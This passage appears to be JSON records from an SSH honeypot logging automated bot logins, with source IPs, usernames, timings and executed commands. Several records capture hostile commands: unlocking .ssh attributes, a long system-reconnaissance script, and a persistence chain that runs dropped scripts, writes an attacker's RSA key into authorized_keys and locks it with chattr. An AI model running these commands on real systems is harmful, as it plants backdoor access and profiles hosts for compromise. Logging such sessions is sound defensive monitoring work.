  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:58:07.264396+00:00",
  "ended_at": "2026-08-27T06:58:09.524320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd337afe-137f-4ac9-bc9a-20e8dcbd7860",
  "name": "rustic-zealous-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 38200,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:57:11.711848+00:00",
  "ended_at": "2026-08-27T06:57:13.878106+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "2c1099cc-78d5-49b8-ba65-1e898469146a",
  "name": "upland-misty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:56:55.012777+00:00",
  "ended_at": "2026-08-27T06:56:56.647166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a3cfccf-7cd6-4800-b8d9-a7e06a57c4aa",
  "name": "dewy-austere-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38790,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:56:52.445823+00:00",
  "ended_at": "2026-08-27T06:56:54.312494+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfed138f-a5a9-435f-8c03-b58c4ce0cb34",
  "name": "mindful-amiable-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46902,
  "username": "mom",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:54:59.278006+00:00",
  "ended_at": "2026-08-27T06:55:00.845150+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2099
 },
 {
  "id": "cce90324-5430-44b2-b608-ec68432dd64c",
  "name": "feathered-sincere-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48670,
  "username": "mom",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:54:44.266582+00:00",
  "ended_at": "2026-08-27T06:54:45.097954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0c16ea6-acaf-4c2e-9bb3-ac8d6f709a66",
  "name": "ginger-pleasant-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:54:41.637693+00:00",
  "ended_at": "2026-08-27T06:54:43.603817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b40208fd-5f2f-42cf-992b-9a2614c05fa3",
  "name": "weathered-blithe-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55604,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:52:58.776446+00:00",
  "ended_at": "2026-08-27T06:52:59.765840+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "f6675739-cc43-4e93-861d-daba627e6c03",
  "name": "sincere-thawing-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56926,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:52:42.411588+00:00",
  "ended_at": "2026-08-27T06:52:44.198291+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b44d6b2-d132-4f8a-8c00-917591da736a",
  "name": "shifting-polar-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:52:40.879271+00:00",
  "ended_at": "2026-08-27T06:52:41.707597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ad350ae-709a-458a-936f-10b16b35f3f0",
  "name": "twilight-hidden-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56480,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:51:24.311876+00:00",
  "ended_at": "2026-08-27T06:52:08.724066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d9eac5c-44da-46cf-a5e9-5ae46d66d5c3",
  "name": "graceful-dappled-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 36070,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 351,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:50:59.036810+00:00",
  "ended_at": "2026-08-27T06:51:00.435845+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "0a9383f7-36fc-4a77-a4cb-f8d3a2f7b4ad",
  "name": "distant-hearty-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37564,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:42.417356+00:00",
  "ended_at": "2026-08-27T06:50:44.148192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55d091e0-e847-4901-b286-4035b6719813",
  "name": "bronzed-tidal-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36802,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:40.434352+00:00",
  "ended_at": "2026-08-27T06:50:41.725014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dccfc4f4-5bb1-49e6-9ee7-9a96869a641e",
  "name": "dappled-vigilant-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55397,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:50:20.068360+00:00",
  "ended_at": "2026-08-27T06:50:36.982446+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b2c5b29-5e7d-469b-832a-78225bf0ae2e",
  "name": "merry-nameless-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 58703,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:49:55.364148+00:00",
  "ended_at": "2026-08-27T06:49:57.199323+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14f6b565-1d2d-496f-965d-781a68b86c70",
  "name": "plush-rambling-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44774,
  "username": "dante",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:48:54.647274+00:00",
  "ended_at": "2026-08-27T06:48:55.796824+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2074
 },
 {
  "id": "dd7dc621-e8c3-4e74-8fce-24c77650bf9f",
  "name": "restless-vivid-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 46512,
  "username": "dante",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:48:39.513003+00:00",
  "ended_at": "2026-08-27T06:48:40.978007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf5e36f1-f6ed-48e7-8647-978cbf9d3126",
  "name": "quiet-thorny-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45378,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:48:36.925295+00:00",
  "ended_at": "2026-08-27T06:48:38.863014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f597acf-c9c6-4d03-8c67-09f0068dd656",
  "name": "amiable-supple-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53484,
  "username": "weblogic",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:46:51.982788+00:00",
  "ended_at": "2026-08-27T06:46:53.144929+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2072
 },
 {
  "id": "acbfb7f4-75da-4f60-ad0a-188ea3c3a41c",
  "name": "whispering-frugal-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54918,
  "username": "weblogic",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:46:40.499114+00:00",
  "ended_at": "2026-08-27T06:46:41.587637+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6f8fbd3-d8ab-4d3e-9d06-3aa47d6dc5bc",
  "name": "vigilant-quaint-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54188,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:46:38.468614+00:00",
  "ended_at": "2026-08-27T06:46:39.814642+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c80a064c-9494-40b3-abd5-4f340e56be99",
  "name": "orderly-rapid-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:44:42.100296+00:00",
  "ended_at": "2026-08-27T06:44:42.758496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2104
 },
 {
  "id": "60fb0338-3a99-4e77-b341-f2883da34e23",
  "name": "airy-shaded-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35242,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:44:34.776617+00:00",
  "ended_at": "2026-08-27T06:44:35.501551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "13e8e533-aed1-40b2-acc3-b3e3d8e69fab",
  "name": "noble-lucid-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34506,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:44:33.070456+00:00",
  "ended_at": "2026-08-27T06:44:34.094566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72dafc1e-5c2d-46a1-8017-878ce5120fd5",
  "name": "mellow-eager-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T06:40:44.085073+00:00",
  "ended_at": "2026-08-27T06:40:44.701749+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "7762066e-4c67-4303-b746-001a10bdf763",
  "name": "crisp-hushed-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43918,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:40:35.030232+00:00",
  "ended_at": "2026-08-27T06:40:36.805056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bb225b2-52fa-46ff-a5da-8b2f2c4a63e4",
  "name": "bronzed-valiant-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43196,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:40:33.290223+00:00",
  "ended_at": "2026-08-27T06:40:34.380696+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b973ec12-9bb4-48ac-8c4b-dc2174056f99",
  "name": "diligent-gritty-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53979,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:39:43.333850+00:00",
  "ended_at": "2026-08-27T06:39:44.603286+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "857dfb5d-644c-4808-a024-440227a9a464",
  "name": "inland-gilded-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 48050,
  "username": "www",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:37:51.910298+00:00",
  "ended_at": "2026-08-27T06:37:52.537594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "969c47b2-3edb-4845-9fbf-e36de6740215",
  "name": "tidal-humble-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 3814,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:28:22.121502+00:00",
  "ended_at": "2026-08-27T06:28:24.481965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f42914df-f515-423f-bef8-b1a41904d8d6",
  "name": "solar-dewy-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35656,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:28:11.792455+00:00",
  "ended_at": "2026-08-27T06:28:11.903385+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "825fce80-d428-4a34-899c-8c6d10ad5b44",
  "name": "nameless-leafy-raven",
  "protocol": "ssh",
  "channel_kind": "sftp",
  "src_ip": "130.12.180.51",
  "src_port": 36238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n",
  "started_at": "2026-08-27T06:27:48.262777+00:00",
  "ended_at": "2026-08-27T06:27:48.487552+00:00",
  "ended_reason": "exec complete",
  "commands": 8,
  "transcript_bytes": 1036
 },
 {
  "id": "642715f4-9ae0-4309-8740-5b1d489bcdb6",
  "name": "loyal-gnarled-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.78.2.252",
  "src_port": 49006,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:27:24.405532+00:00",
  "ended_at": "2026-08-27T06:27:24.864158+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d9dfa0dc-aea2-4ba8-8f25-e5f8e793607b",
  "name": "vivid-vernal-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 32794,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:26:18.884108+00:00",
